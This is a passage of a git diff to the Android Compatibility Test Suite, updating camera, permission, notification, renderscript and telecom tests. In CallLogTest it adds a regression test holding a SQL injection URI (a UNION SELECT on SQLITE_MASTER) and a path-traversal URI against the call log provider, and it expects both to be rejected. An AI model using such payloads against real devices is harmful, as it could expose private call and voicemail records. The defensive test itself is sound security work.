() -> spat.removeOnHeadTrackerAvailableListener(null));
spat.removeOnHeadTrackerAvailableListener(htAvailableListener);
assertThrows("able to remove listener twice in removeOnHeadTrackerAvailableListener",
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
index 2d1d7cd..a28095f 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
@@ -16,6 +16,14 @@
package android.media.misc.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
import android.content.pm.PackageManager;
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
@@ -28,13 +36,21 @@
import android.media.MediaRecorder;
import android.media.cts.NonMediaMainlineTest;
import android.test.AndroidTestCase;
+import android.test.InstrumentationTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.Arrays;
import java.util.List;
@NonMediaMainlineTest
-public class CamcorderProfileTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CamcorderProfileTest {
private static final String TAG = "CamcorderProfileTest";
private static final int MIN_HIGH_SPEED_FPS = 100;
@@ -400,7 +416,19 @@
? "Checking get without id"
: "Checking get with id = " + cameraId);
- final List<Size> videoSizes = getSupportedVideoSizes(cameraId);
+ Camera camera = null;
+ if (cameraId == -1) {
+ camera = Camera.open();
+ assumeTrue("Device does not have a back-facing camera", camera != null);
+ } else {
+ camera = Camera.open(cameraId);
+ assertNotNull("failed to open CameraId " + cameraId, camera);
+ }
+
+ final List<Size> videoSizes = getSupportedVideoSizes(camera);
+
+ camera.release();
+ camera = null;
/**
* Check all possible supported profiles: get profile should work, and the profile
@@ -496,26 +524,33 @@
specificHighSpeedProfileQualities, null);
}
- public void testGet() {
+ @Test
+ public void testGetFirstBackCamera() {
/*
* Device may not have rear camera for checkGet(-1).
* Checking PackageManager.FEATURE_CAMERA is included or not to decide the flow.
* Continue if the feature is included.
* Otherwise, exit test.
*/
- PackageManager pm = mContext.getPackageManager();
+ Context context = InstrumentationRegistry.getContext();
+ assertNotNull("did not find context", context);
+ PackageManager pm = context.getPackageManager();
+ assertNotNull("did not find package manager", pm);
if (!pm.hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
return;
}
checkGet(-1);
}
+ @Test
public void testGetWithId() {
int nCamera = Camera.getNumberOfCameras();
+ Context context = InstrumentationRegistry.getContext();
+ assertNotNull("did not find context", context);
for (int cameraId = 0; cameraId < nCamera; cameraId++) {
boolean isExternal = false;
try {
- isExternal = CameraUtils.isExternal(mContext, cameraId);
+ isExternal = CameraUtils.isExternal(context, cameraId);
} catch (Exception e) {
Log.e(TAG, "Unable to query external camera: " + e);
}
@@ -526,15 +561,14 @@
}
}
- private List<Size> getSupportedVideoSizes(int cameraId) {
- Camera camera = (cameraId == -1)? Camera.open(): Camera.open(cameraId);
+ private List<Size> getSupportedVideoSizes(Camera camera) {
Parameters parameters = camera.getParameters();
+ assertNotNull("Camera did not provide parameters", parameters);
List<Size> videoSizes = parameters.getSupportedVideoSizes();
if (videoSizes == null) {
videoSizes = parameters.getSupportedPreviewSizes();
assertNotNull(videoSizes);
}
- camera.release();
return videoSizes;
}
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index c75ad0c..ca7bf83 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1,3 +1 @@
-S
-Sv2
-Tiramisu
+13
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 3127bed..b398aff 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -54,6 +54,7 @@
import org.junit.Assume.assumeFalse
import org.junit.Assume.assumeTrue
import org.junit.Before
+import org.junit.Ignore
import org.junit.Test
import org.junit.runner.RunWith
import java.io.Serializable
@@ -163,6 +164,7 @@
@AppModeFull(reason = "Companion API for non-instant apps only")
@Test
+ @Ignore("b/212535524")
fun testRequestNotifications() {
// Skip this test for Android TV due to NotificationAccessConfirmationActivity only exists
// in Settings but not in TvSettings for Android TV devices (b/199224565).
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index fee9001..ab7a15d 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -33,6 +33,7 @@
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static com.android.server.job.nano.JobPackageHistoryProto.START_PERIODIC_JOB;
+import static com.android.server.job.nano.JobPackageHistoryProto.STOP_JOB;
import static com.android.server.job.nano.JobPackageHistoryProto.STOP_PERIODIC_JOB;
import static org.junit.Assert.assertFalse;
@@ -83,6 +84,7 @@
import com.android.compatibility.common.util.ProtoUtils;
import com.android.compatibility.common.util.mainline.MainlineModule;
import com.android.compatibility.common.util.mainline.ModuleDetector;
+import com.android.modules.utils.build.SdkLevel;
import com.android.server.job.nano.JobPackageHistoryProto;
import com.android.server.job.nano.JobSchedulerServiceDumpProto;
import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
@@ -315,7 +317,12 @@
// We can't simply require startTime <= endTime because the time being reported isn't
// accurate, and sometimes the end time may come before the start time by around 100 ms.
eventually(() -> {
- long stopTime = getLastJobTime(STOP_PERIODIC_JOB);
+ long stopTime;
+ if (SdkLevel.isAtLeastT()) {
+ stopTime = getLastJobTime(STOP_PERIODIC_JOB);
+ } else {
+ stopTime = getLastJobTime(STOP_JOB);
+ }
assertTrue(stopTime + " !> " + beforeJob, stopTime > beforeJob);
}, EXPECTED_TIMEOUT_MILLIS);
}
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index 2843d75..95e3e55 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -51,6 +51,7 @@
@Before
fun install() {
+ SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
SystemUtil.runShellCommand("pm install -r " +
TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK)
}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index c68b9dd..162f66a 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6419,11 +6419,11 @@
<!-- @SystemApi Must be required by a safety source to send an update using the
{@link android.safetycenter.SafetyCenterManager}.
- <p>Protection level: signature|privileged
+ <p>Protection level: internal|privileged
@hide
-->
<permission android:name="android.permission.SEND_SAFETY_CENTER_UPDATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="internal|privileged" />
<!-- @SystemApi Allows an application to launch device manager setup screens.
<p>Not for use by third-party applications.
diff --git a/tests/tests/permission3/AndroidManifest.xml b/tests/tests/permission3/AndroidManifest.xml
index 31e7e71..2192d13 100644
--- a/tests/tests/permission3/AndroidManifest.xml
+++ b/tests/tests/permission3/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+ <uses-permission android:name="android.permission.BLUETOOTH_CONNECT" />
<application>
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index c197d47..bc3947f 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -96,7 +96,6 @@
const val DENY_RADIO_BUTTON = "com.android.permissioncontroller:id/deny_radio_button"
const val NOTIF_TEXT = "permgrouprequest_notifications"
- const val NOTIF_CONTINUE_TEXT = "permgrouprequestcontinue_notifications"
const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
const val ALLOW_FOREGROUND_PREFERENCE_TEXT = "permission_access_only_foreground"
@@ -353,9 +352,7 @@
}
if (waitFindObjectOrNull(By.text(getPermissionControllerString(
- NOTIF_CONTINUE_TEXT, APP_PACKAGE_NAME)), 1000) != null ||
- waitFindObjectOrNull(By.text(getPermissionControllerString(
- NOTIF_TEXT, APP_PACKAGE_NAME)), 1000) != null) {
+ NOTIF_TEXT, APP_PACKAGE_NAME)), 1000) != null) {
if (isAutomotive) {
click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
} else {
@@ -598,7 +595,7 @@
button.click()
}
- val shouldShowStorageWarning = !isTv && !isWatch &&
+ val shouldShowStorageWarning = !isWatch &&
SdkLevel.isAtLeastT() && targetSdk <= Build.VERSION_CODES.S_V2 &&
permission in MEDIA_PERMISSIONS
if (shouldShowStorageWarning) {
diff --git a/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt
index b29e99f..eeb3a71 100644
--- a/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt
@@ -55,7 +55,6 @@
const val ACTIVITY_LABEL = "CreateNotif"
const val SECOND_ACTIVITY_LABEL = "EmptyActivity"
const val ALLOW = "to send you"
-const val CONTINUE_ALLOW = "to continue sending you"
const val INTENT_ACTION = "usepermission.createchannels.MAIN"
const val BROADCAST_ACTION = "usepermission.createchannels.BROADCAST"
const val NOTIFICATION_PERMISSION_ENABLED = "notification_permission_enabled"
@@ -124,18 +123,8 @@
}
@Test
- fun reviewRequiredClearedForTAppsOnLaunch() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
- setReviewRequired()
- assertNotificationReviewRequiredState(shouldBeSet = true)
- launchApp()
- assertNotificationReviewRequiredState(shouldBeSet = false)
- }
-
- @Test
fun notificationPromptShowsForLegacyAppAfterCreatingNotificationChannels() {
installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
- setReviewRequired()
launchApp()
clickPermissionRequestAllowButton()
}
@@ -143,21 +132,12 @@
@Test
fun notificationPromptShowsForLegacyAppWithNotificationChannelsOnStart() {
installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
- setReviewRequired()
// create channels, then leave the app
launchApp()
killTestApp()
launchApp()
- waitFindObject(By.textContains(CONTINUE_ALLOW))
- clickPermissionRequestAllowButton()
- }
-
- @Test
- fun nonReviewRequiredLegacyAppsDontShowContinuePrompt() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
- setReviewRequired(false)
- launchApp()
waitFindObject(By.textContains(ALLOW))
+ clickPermissionRequestAllowButton()
}
@Test
@@ -254,49 +234,11 @@
}
@Test
- fun reviewRequiredNotClearedOnNonLauncherIntentCategoryLaunches() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
- setReviewRequired()
- launchApp(launcherCategory = false)
- assertNotificationReviewRequiredState(true)
- }
-
- @Test
- fun reviewRequiredNotClearedOnNonMainIntentActionLaunches() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
- setReviewRequired()
- launchApp(mainIntent = false)
- assertNotificationReviewRequiredState(true)
- }
-
- @Test
- fun reviewRequiredClearedIfActivityOptionSet() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
- setReviewRequired()
- launchApp(isEligibleForPromptOption = true)
- assertNotificationReviewRequiredState(false)
- }
-
- @Test
- fun notificationGrantedAndReviewRequiredClearedOnLegacyGrant() {
+ fun notificationGrantedOnLegacyGrant() {
installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
- setReviewRequired()
launchApp()
clickPermissionRequestAllowButton()
assertAppPermissionGrantedState(POST_NOTIFICATIONS, granted = true)
- assertNotificationReviewRequiredState(shouldBeSet = false)
- }
-
- @Test
- fun notificationReviewRequiredClearedOnLegacyDeny() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
- setReviewRequired()
- launchApp()
- clickPermissionRequestDenyButton()
- waitForIdle()
- SystemUtil.eventually {
- assertNotificationReviewRequiredState(shouldBeSet = false)
- }
}
@Test
@@ -367,23 +309,6 @@
}
@Test
- fun reviewRequiredTAppsShowContinueMessage() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
- setReviewRequired(true)
- assertNotificationReviewRequiredState(true)
- launchApp(requestPermissions = true)
- waitFindObject(By.textContains(CONTINUE_ALLOW))
- }
-
- @Test
- fun nonReviewRequiredTAppsShowAllowMessage() {
- installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
- assertNotificationReviewRequiredState(false)
- launchApp(requestPermissions = true)
- waitFindObject(By.textContains(ALLOW))
- }
-
- @Test
fun legacyAppCannotExplicitlyRequestNotifications() {
installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
launchApp(createChannels = false, requestNotificationPermission = true)
@@ -404,27 +329,6 @@
}
}
- private fun assertNotificationReviewRequiredState(shouldBeSet: Boolean) {
- val flagSet = callWithShellPermissionIdentity {
- (context.packageManager.getPermissionFlags(POST_NOTIFICATIONS,
- APP_PACKAGE_NAME, Process.myUserHandle()) and FLAG_PERMISSION_REVIEW_REQUIRED) != 0
- }
- Assert.assertEquals("Unexpected REVIEW_REQUIRED state for POST_NOTIFICATIONS: ",
- shouldBeSet, flagSet)
- }
-
- private fun setReviewRequired(set: Boolean = true) {
- val flag = if (set) {
- FLAG_PERMISSION_REVIEW_REQUIRED
- } else {
- 0
- }
- runWithShellPermissionIdentity {
- context.packageManager.updatePermissionFlags(POST_NOTIFICATIONS, APP_PACKAGE_NAME,
- FLAG_PERMISSION_REVIEW_REQUIRED, flag, Process.myUserHandle())
- }
- }
-
private fun launchApp(
createChannels: Boolean = true,
createChannelsDelayed: Boolean = false,
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 5a1b7a0..b88fcf5 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -47,8 +47,7 @@
// uncomment when b/140885436 is fixed
// sdk_version: "test_current",
min_sdk_version: "21",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
platform_apis: true,
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
index 8c62f21..c2a2795 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -30,6 +30,7 @@
import android.os.ParcelFileDescriptor;
import android.os.UserHandle;
import android.provider.CallLog;
+import android.provider.CallLog.Calls;
import android.provider.cts.R;
import android.test.InstrumentationTestCase;
import android.util.Pair;
@@ -43,20 +44,172 @@
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;
+import java.util.HashMap;
+import java.util.Map;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
public class CallLogTest extends InstrumentationTestCase {
-
+ // Test Call Log Entry
private static final String TEST_NUMBER = "5625698388";
+ private static final int TEST_DATE = 1000;
+ private static final int TEST_DURATION = 30;
+ // Test Voicemail Log Entry
+ private static final String TEST_VOICEMAIL_NUMBER = "1119871234";
+ private static final int TEST_VOCIEMAIL_DATE = 1;
+ private static final int TEST_VOICEMAIL_DURATION = 5;
+ // Timeout
private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+ // SQL Selection Column Names
+ private static final String SELECTION_TYPE = "type";
+ private static final String SELECTION_NUMBER = "number";
+ private static final String SELECTION_DATE = "date";
+ private static final String SELECTION_DURATION = "duration";
+ private static final String SELECTION_NEW = "new";
+ // SQL Selection as array
+ private static final String[] SELECTION =
+ new String[]{SELECTION_TYPE, SELECTION_NUMBER, SELECTION_DATE,
+ SELECTION_DURATION, SELECTION_NEW};
+ // Test filter URI that throws Security Exception
+ private static final Uri INVALID_FILTER_URI = Uri.parse(
+ "content://call_log/calls/filter/test\uD83D')) union select type,name,"
+ + "tbl_name,rootpage,sql FROM SQLITE_MASTER; --");
+ // Test call composer URI that throws Security Exception
private static final Uri INVALID_CALL_LOG_URI = Uri.parse(
"content://call_log/call_composer/%2fdata%2fdata%2fcom.android.providers"
+ ".contacts%2fshared_prefs%2fContactsUpgradeReceiver.xml");
-
+ // Test Failure Error
private static final String TEST_FAIL_DID_NOT_TRHOW_SE =
"fail test because Security Exception was not throw";
+ // Instance vars
+ private ContentResolver mContentResolver;
+
+ // Class to objectify the call log data (returned from a Cursor object)
+ public class LogEntry {
+ // properties
+ public Integer type;
+ public String number;
+ public Integer date;
+ public Integer duration;
+ public Integer newCount;
+ public String extras;
+
+ // setter
+ public void setValue(String selectionColumn, String value) {
+ if (value == null) {
+ // Integer.valueOf(value) throws NumberFormatException if string is null.
+ // so return early if value is null.
+ return;
+ }
+ try {
+ switch (selectionColumn) {
+ case SELECTION_TYPE:
+ type = Integer.valueOf(value);
+ break;
+ case SELECTION_NUMBER:
+ number = value;
+ break;
+ case SELECTION_DATE:
+ date = Integer.valueOf(value);
+ break;
+ case SELECTION_DURATION:
+ duration = Integer.valueOf(value);
+ break;
+ case SELECTION_NEW:
+ newCount = Integer.valueOf(value);
+ break;
+ default:
+ extras = value;
+ }
+ } catch (NumberFormatException e) {
+ // pass through
+ }
+ }
+ }
+
+ @Override
+ public void setUp() throws Exception {
+ // Sets up this package as default dialer in super.
+ super.setUp();
+ mContentResolver = getInstrumentation().getContext().getContentResolver();
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Ensure that the existing query functionality still works. To verify the functionality,
+ * this test adds a single call and voicemail entry to the logs, queries the logs,
+ * and asserts the entries are returned.
+ */
+ public void testPopulateAndQueryCallAndVoicemailLogs() {
+ try {
+ // needed in order to populate call log database
+ ShellUtils.runShellCommand("telecom set-default-dialer %s",
+ getInstrumentation().getContext().getPackageName());
+
+ populateLogsWithDefaults();
+
+ // query and get cursor
+ Cursor cursor = mContentResolver
+ .query(Calls.CONTENT_URI_WITH_VOICEMAIL, SELECTION, null, null);
+
+ // extract the data from the cursor and put the objects in a map
+ Map<String, LogEntry> entries = collectCursorEntries(cursor);
+
+ // cleanup
+ cursor.close();
+
+ // call entry
+ assertEquals(TEST_NUMBER, entries.get(TEST_NUMBER).number);
+ // voicemail entry
+ assertEquals(TEST_VOICEMAIL_NUMBER, entries.get(TEST_VOICEMAIL_NUMBER).number);
+ } finally {
+ //cleanup
+ deletePopulatedLogs();
+ ShellUtils.runShellCommand("telecom set-default-dialer default");
+ }
+ }
+
+ /**
+ * Test scenario where an app calls {@link ContentResolver#query} with an invalid URI.
+ *
+ * The URI is invalid because it attempts to bypass voicemail permissions and grab the voicemail
+ * log data without the proper voicemail permissions.
+ *
+ * Therefore, a Security Exception is thrown.
+ */
+ public void testInvalidQueryToCallLog() {
+ try {
+ // needed in order to populate call log database
+ ShellUtils.runShellCommand("telecom set-default-dialer %s",
+ getInstrumentation().getContext().getPackageName());
+
+ populateLogsWithDefaults();
+
+ // drop voicemail permissions
+ ShellUtils.runShellCommand("telecom set-default-dialer default");
+
+ // query and get cursor (expecting to hit Security Exception with call)
+ Cursor cursor = mContentResolver
+ .query(INVALID_FILTER_URI, SELECTION, null, null);
+
+ // the previous line should throw an exception
+ fail(TEST_FAIL_DID_NOT_TRHOW_SE);
+ } catch (SecurityException e) {
+ // success...
+ assertNotNull(e.toString());
+ } finally {
+ //cleanup
+ ShellUtils.runShellCommand("telecom set-default-dialer %s",
+ getInstrumentation().getContext().getPackageName());
+ deletePopulatedLogs();
+ ShellUtils.runShellCommand("telecom set-default-dialer default");
+ }
+ }
/**
* Tests scenario where an app gives {@link ContentResolver} a file to open that is not in the
@@ -297,4 +450,66 @@
} catch (InterruptedException e) {
}
}
+
+ private ContentValues getDefaultValues(int type, String number, int date, int duration) {
+ ContentValues values = new ContentValues();
+ values.put(Calls.TYPE, type);
+ values.put(Calls.NUMBER, number);
+ values.put(Calls.NUMBER_PRESENTATION, Calls.PRESENTATION_ALLOWED);
+ values.put(Calls.DATE, date);
+ values.put(Calls.DURATION, duration);
+ values.put(Calls.NEW, 1);
+ return values;
+ }
+
+ private ContentValues getDefaultCallValues() {
+ return getDefaultValues(Calls.INCOMING_TYPE, TEST_NUMBER, TEST_DATE, TEST_DURATION);
+ }
+
+ private ContentValues getDefaultVoicemailValues() {
+ return getDefaultValues(Calls.VOICEMAIL_TYPE, TEST_VOICEMAIL_NUMBER, TEST_VOCIEMAIL_DATE,
+ TEST_VOICEMAIL_DURATION);
+ }
+
+ private void deletePopulatedLogs() {
+ // delete TEST_NUMBER in the call logs
+ mContentResolver.delete(CallLog.Calls.CONTENT_URI,
+ Calls.NUMBER + "=" + TEST_NUMBER, null);
+ // delete TEST_VOICEMAIL_NUMBER in the voicemail logs
+ mContentResolver.delete(Calls.CONTENT_URI_WITH_VOICEMAIL,
+ Calls.NUMBER + "=" + TEST_VOICEMAIL_NUMBER, null);
+ // cleanup extra entry created in this test that does not have a Calls.NUMBER
+ mContentResolver.delete(Calls.CONTENT_URI_WITH_VOICEMAIL,
+ Calls.DATE + "=" + "0", null);
+ }
+
+ private void populateLogsWithDefaults() {
+ // add call log entry
+ mContentResolver.insert(Calls.CONTENT_URI, getDefaultCallValues());
+ // add voicemail entry
+ mContentResolver.insert(Calls.CONTENT_URI_WITH_VOICEMAIL, getDefaultVoicemailValues());
+ }
+
+ /**
+ * Helper method for a test that wants to objectify the cursor data into LogEntry objects.
+ * NOTE: The key for the map is the phone number, so you can only store one object per number.
+ *
+ * @return all the data in the cursor in a LogEntry map
+ */
+ public Map<String, LogEntry> collectCursorEntries(Cursor cursor) {
+ Map<String, LogEntry> entries = new HashMap<>();
+ // iterate through every row in the cursor
+ while (cursor.moveToNext()) {
+ LogEntry e = new LogEntry();
+ // iterate through each column (should be the SELECTION given to query)
+ for (int i = 0; i < cursor.getColumnCount(); i++) {
+ e.setValue(cursor.getColumnName(i), cursor.getString(i));
+ }
+ // don't add if bad number (should never happen)
+ if (e.number != null || !e.number.isEmpty()) {
+ entries.put(e.number, e);
+ }
+ }
+ return entries;
+ }
}
diff --git a/tests/tests/renderscript/Android.bp b/tests/tests/renderscript/Android.bp
index 4011075..1934bb6 100644
--- a/tests/tests/renderscript/Android.bp
+++ b/tests/tests/renderscript/Android.bp
@@ -23,6 +23,7 @@
// Include both the 32 and 64 bit versions
compile_multilib: "both",
static_libs: [
+ "compatibility-device-util-axt",
"ctstestrunner-axt",
"xmp_toolkit",
],
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
index 9ee194e..5a0b38f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
@@ -16,6 +16,8 @@
package android.renderscript.cts;
+import android.os.Build;
+
import android.renderscript.Allocation;
import android.renderscript.Byte2;
@@ -61,6 +63,8 @@
import android.renderscript.ScriptIntrinsicLUT;
import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
+
public class ImageProcessingTest extends RSBaseCompute {
private Allocation a1, a2;
@@ -177,10 +181,18 @@
}
// Do the same but passing LaunchOptions
- int xStart = 10;
- int xEnd = 20;
- int yStart = 3;
- int yEnd = 6;
+ int xStart = 0;
+ int xEnd = w;
+ int yStart = 0;
+ int yEnd = h;
+ // LaunchOptions tests with restricted range are new tests added in T, so only test them
+ // when the vendor partition has version >= T.
+ if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+ xStart = 10;
+ xEnd = 20;
+ yStart = 3;
+ yEnd = 6;
+ }
Script.LaunchOptions opt = new Script.LaunchOptions();
opt.setX(xStart, xEnd).setY(yStart, yEnd);
for (int i = 0; i < 14; i++) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
index 6639757..0d56172 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
@@ -16,8 +16,10 @@
package android.renderscript.cts;
+import android.os.Build;
import android.renderscript.*;
import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
public class IntrinsicResize extends IntrinsicBase {
@@ -26,6 +28,12 @@
private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY, boolean useOpt) {
+ // The LaunchOptions tests are new tests added in T, so skip the tests if the vendor
+ // partition has an earlier version.
+ if (useOpt && !PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+ return;
+ }
+
Element e = makeElement(dt, vecSize);
System.gc();
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index ac1e9df..52feb93 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -230,7 +230,9 @@
val latchEnabled = CountDownLatch(1)
val listenerSensorEnabled = object : OnSensorPrivacyChangedListener {
override fun onSensorPrivacyChanged(params: SensorPrivacyChangedParams) {
- if (params.isEnabled && params.sensor == sensor) {
+ if (params.isEnabled &&
+ params.sensor == sensor &&
+ params.toggleType == TOGGLE_TYPE_SOFTWARE) {
latchEnabled.countDown()
}
}
@@ -250,7 +252,9 @@
val latchDisabled = CountDownLatch(1)
val listenerSensorDisabled = object : OnSensorPrivacyChangedListener {
override fun onSensorPrivacyChanged(params: SensorPrivacyChangedParams) {
- if (!params.isEnabled && params.sensor == sensor) {
+ if (!params.isEnabled &&
+ params.sensor == sensor &&
+ params.toggleType == TOGGLE_TYPE_SOFTWARE) {
latchDisabled.countDown()
}
}
diff --git a/tests/tests/simpleperf/Android.bp b/tests/tests/simpleperf/Android.bp
index fb405bf..d32ab9e 100644
--- a/tests/tests/simpleperf/Android.bp
+++ b/tests/tests/simpleperf/Android.bp
@@ -39,7 +39,11 @@
"libopencsd_decoder",
"libc++fs",
],
- data: [":system-extras-simpleperf-testdata"],
+ per_testcase_directory: true,
+ data: [
+ ":CtsSimpleperfProfileableApp",
+ ":CtsSimpleperfDebuggableApp",
+ ":system-extras-simpleperf-testdata"],
test_suites: [
"cts",
"general-tests",
diff --git a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
index 69d5e41..0905e57 100644
--- a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java
@@ -73,6 +73,9 @@
ResolveInfo resolveInfo = packageManager.resolveActivity(launcherIntent,
PackageManager.ResolveInfoFlags.of(PackageManager.MATCH_DEFAULT_ONLY));
assumeFalse("Skipping test: can't get resolve info", resolveInfo == null);
+ assumeFalse("Skipping test: not supported on automotive yet",
+ packageManager.hasSystemFeature(
+ PackageManager.FEATURE_AUTOMOTIVE));
mLauncherPackage = resolveInfo.activityInfo.packageName;
}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
index 18a7bb3..e6de45e 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
@@ -29,7 +29,7 @@
<uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"/>
<application android:label="ThirdPtyDialerTestApp">
- <service android:name=".android.telecom.cts.thirdptydialer.CtsThirdPtyDialerInCallService"
+ <service android:name=".CtsThirdPtyDialerInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:launchMode="singleInstance"
android:exported="true">
